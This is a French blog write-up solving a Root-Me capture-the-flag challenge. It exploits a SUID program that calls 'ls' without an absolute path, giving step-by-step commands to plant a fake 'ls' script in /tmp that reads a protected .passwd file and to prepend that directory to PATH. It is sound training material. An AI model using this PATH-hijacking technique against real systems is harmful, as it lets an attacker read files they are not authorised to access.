RootMe App-Script/Bash-System-2

FIKARA BILALFIKARA BILAL
1 min read

Lien : https://www.root-me.org/fr/Challenges/App-Script/ELF32-System-2

On veut pouvoir lire le mot de passe du fichier .passwd mais il n’est lisible que par le propriétaire du fichier app-script-ch12-cracked.

Le code source de ch12.c utilise la fonction system() pour lister le répertoire du fichier .passwd. Par contre la commande ls est appelée dans la fonction system() sans spécifier le chemin absolu, c’est-à-dire /bin/ls. Puisque le fichier ch12 a le binaire SUID activé, il peut s’exécuter avec les droits du propriétaire. Quand la commande ls sera exécutée par la commande system(), le shell regardera au niveau des variables d’environnement PATH puis cherche la commande ls dans les répertoires. La commande qu’on aura manipulé sera donc exécutée à la place.

Créér le répertoire dans /tmp/script

mkdir /tmp/script
nano /tmp/script/ls

Écrire ensuite le script pour lire le fichier .passwd.

#!/bin/bash
cat /challenge/app-script/ch12/.passwd

Rendre le script ls exécutable

chmod +x /tmp/script/ls

Modifier la variable d’environnement PATH pour inclure notre script

export PATH=/tmp/script:$PATH

En vérifiant avec la command which ls, on voit que que le script est bien trouvé avant la commande ls.

On peut maintenant lire le fichier.

0
Subscribe to my newsletter

Read articles from FIKARA BILAL directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

FIKARA BILAL
FIKARA BILAL

As a newcomer to the cybersecurity industry, I'm on an exciting journey of continuous learning and exploration. Join me as I navigate, sharing insights and lessons learned along the way